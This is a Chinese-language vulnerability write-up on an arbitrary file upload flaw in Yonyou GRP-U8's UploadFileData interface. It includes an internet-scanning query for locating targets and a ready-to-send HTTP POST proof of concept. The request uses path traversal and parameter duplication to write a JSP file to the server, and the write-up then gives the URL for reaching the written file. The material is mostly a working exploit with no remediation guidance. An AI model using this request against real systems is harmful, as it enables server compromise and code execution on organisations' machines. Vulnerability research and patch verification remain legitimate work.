# 用友 GRP-U8 UploadFileData 任意文件上传漏洞

## 漏洞描述

用友 GRP-U8 UploadFileData接口存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限

## 漏洞影响

```
用友 GRP-U8
```

## 网络测绘

```
app="用友-GRP-U8"
```

## 漏洞复现

登录页面

![image-20220824142321531](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202208241423596.png)

验证POC

```
POST /UploadFileData?action=upload_file&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&foldername=%2e%2e%2f&filename=debugg.jsp&filename=1.jpg HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=59227D2C93FE3E8C2626DA625CE710F9
Content-Type: multipart/form-data
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

------WebKitFormBoundary92pUawKc
Content-Disposition: form-data; name="myFile";filename="test.jpg"

<% out.println("123");%>
------WebKitFormBoundary92pUawKc--
```

![image-20220824142335805](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202208241423854.png)

访问写入的文件

```
/R9iPortal/debugg.jsp
```

![image-20220824142350845](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202208241423890.png)